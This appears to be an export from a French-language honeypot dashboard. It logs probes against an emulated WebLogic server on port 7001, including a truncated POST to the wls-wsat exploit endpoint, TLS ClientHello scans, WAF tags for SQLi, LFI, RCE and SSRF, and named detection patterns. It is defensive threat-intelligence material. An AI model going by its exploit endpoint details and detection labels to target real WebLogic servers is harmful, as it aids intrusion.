"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0602",
"pat-0284",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"WebLogic wls-wsat",
"CRS 941130",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0602",
"pat-0284",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 10,
"risk_score": 80,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "2f464fdfade22e7777da4c15da322493",
"path_pattern_hash": "16111671401e187b64b702a8ecb56bdf"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950087:sqli-21",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950650:body-entropy"
],
"waf_rule_names": [
"sqli-19",
"sqli-21",
"lfi-14",
"rce-0",
"rce-14",
"ssrf-3",
"nosqli-3",
"body-entropy"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nContent-Length:5107\r\n\r\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xm",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"evidence": {
"method": "POST",
"path": "\/wls-wsat\/CoordinatorPortType",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950087:sqli-21",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950650:body-entropy"
],
"waf_rule_names": [
"sqli-19",
"sqli-21",
"lfi-14",
"rce-0",
"rce-14",
"ssrf-3",
"nosqli-3",
"body-entropy"
],
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"request_sample": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nContent-Length:5107\r\n\r\n<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xm",
"payload_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "cb14dec686af341501eb3dbd30a7520e97b46b5a",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 10,
"risk_score": 80,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/wls-wsat\/CoordinatorPortType",
"request_line": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wls-wsat\/CoordinatorPortType",
"evidence_snippet": "POST \/wls-wsat\/CoordinatorPortType HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 11 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 11 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950087:sqli-21",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950383:rce-14",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950650:body-entropy",
"http_base64_payload",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_probe_weblogic_wls",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:38:50 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
�����ꮳ�� � ��K��z R �R~�O[��Z �y�M l�� K�I�;�X߉l��� �� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
�����ꮳ�� � ��K��z R �R~�O[��Z �y�M
l��
K�I�;�X߉l��� �� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
�����ꮳ�� � ��K��z R �R~�O[��Z �y�M l�� K�I�;�X߉l��� �� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.927528349832528,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "611e89cc3d95546492baed576829c5e8",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\ufffd\u000e\u0002\uabb3\ufffd\ufffd\t\ufffd \ufffd\ufffdK\ufffd\ufffdz\u001cR\u001c\ufffdR~\ufffdO[\ufffd\ufffdZ \ufffdy\ufffdM\u0006\u001e\nl\ufffd\ufffd\nK\ufffdI\u0001\ufffd;\ufffdX\u07c9l\ufffd\ufffd\ufffd\u001f\ufffd\u0005\ufffd\u001c\u001e\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\ufffd\u000e\u0002\uabb3\ufffd\ufffd\t\ufffd \ufffd\ufffdK\ufffd\ufffdz\u001cR\u001c\ufffdR~\ufffdO[\ufffd\ufffdZ \ufffdy\ufffdM\u0006\u001e\nl\ufffd\ufffd\nK\ufffdI\u0001\ufffd;\ufffdX\u07c9l\ufffd\ufffd\ufffd\u001f\ufffd\u0005\ufffd\u001c\u001e\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\ufffd\u000e\u0002\uabb3\ufffd\ufffd\t\ufffd \ufffd\ufffdK\ufffd\ufffdz\u001cR\u001c\ufffdR~\ufffdO[\ufffd\ufffdZ \ufffdy\ufffdM\u0006\u001e\nl\ufffd\ufffd\nK\ufffdI\u0001\ufffd;\ufffdX\u07c9l\ufffd\ufffd\ufffd\u001f\ufffd\u0005\ufffd\u001c\u001e\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ce4e54b922252deeaf2cbf7485e3f3b5469e861e",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\ufffd\u000e\u0002\uabb3\ufffd\ufffd\t\ufffd \ufffd\ufffdK\ufffd\ufffdz\u001cR\u001c\ufffdR~\ufffdO[\ufffd\ufffdZ \ufffdy\ufffdM\u0006\u001e\nl\ufffd\ufffd\nK\ufffdI\u0001\ufffd;\ufffdX\u07c9l\ufffd\ufffd\ufffd\u001f\ufffd\u0005\ufffd\u001c\u001e\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\ufffd\uabb3\ufffd\ufffd\t\ufffd \ufffd\ufffdK\ufffd\ufffdzR\ufffdR~\ufffdO[\ufffd\ufffdZ \ufffdy\ufffdM\nl\ufffd\ufffd\nK\ufffdI\ufffd;\ufffdX\u07c9l\ufffd\ufffd\ufffd\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd\ufffd\ufffd\ufffd\u000e\u0002\uabb3\ufffd\ufffd\t\ufffd \ufffd\ufffdK\ufffd\ufffdz\u001cR\u001c\ufffdR~\ufffdO[\ufffd\ufffdZ \ufffdy\ufffdM\u0006\u001e\nl\ufffd\ufffd\nK\ufffdI\u0001\ufffd;\ufffdX\u07c9l\ufffd\ufffd\ufffd\u001f\ufffd\u0005\ufffd\u001c\u001e\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffd\ufffd\ufffd\ufffd\ufffd\uabb3\ufffd\ufffd\t\ufffd \ufffd\ufffdK\ufffd\ufffdzR\ufffdR~\ufffdO[\ufffd\ufffdZ \ufffdy\ufffdM\nl\ufffd\ufffd\nK\ufffdI\ufffd;\ufffdX\u07c9l\ufffd\ufffd\ufffd\ufffd\ufffd>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:38:49 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
tls_clienthello
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
��8x3 �E�A�����)�WO�sZ�vR��,]� u(2���Mn�ɺ��H��/ q{�U�oF�~N� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 �
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 3 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
Minecraft varint handshake
SIP TLS ClientHello
TFTP RRQ
User-Agent
—
Règles WAF
—
Payload (extrait)
��8x3
�E�A�����)�WO�sZ�vR��,]� u(2���Mn�ɺ��H��/ q{�U�oF�~N� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g�
� 9� � 3 �
Requête brute (extrait)
��8x3 �E�A�����)�WO�sZ�vR��,]� u(2���Mn�ɺ��H��/ q{�U�oF�~N� >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 4.0093251860665315,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "54f999e9954cf01f2f9215000f9a4adb",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003\ufffd8x3\r\u0007\ufffdE\ufffdA\ufffd\ufffd\ufffd\ufffd\ufffd)\ufffdWO\ufffdsZ\ufffdvR\u05fb\ufffd\ufffd,]\ufffd u(2\ufffd\u0012\ufffd\ufffdMn\ufffd\u027a\ufffd\ufffdH\ufffd\ufffd\/\u001fq{\ufffdU\ufffdoF\ufffd~N\u0015\ufffd\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
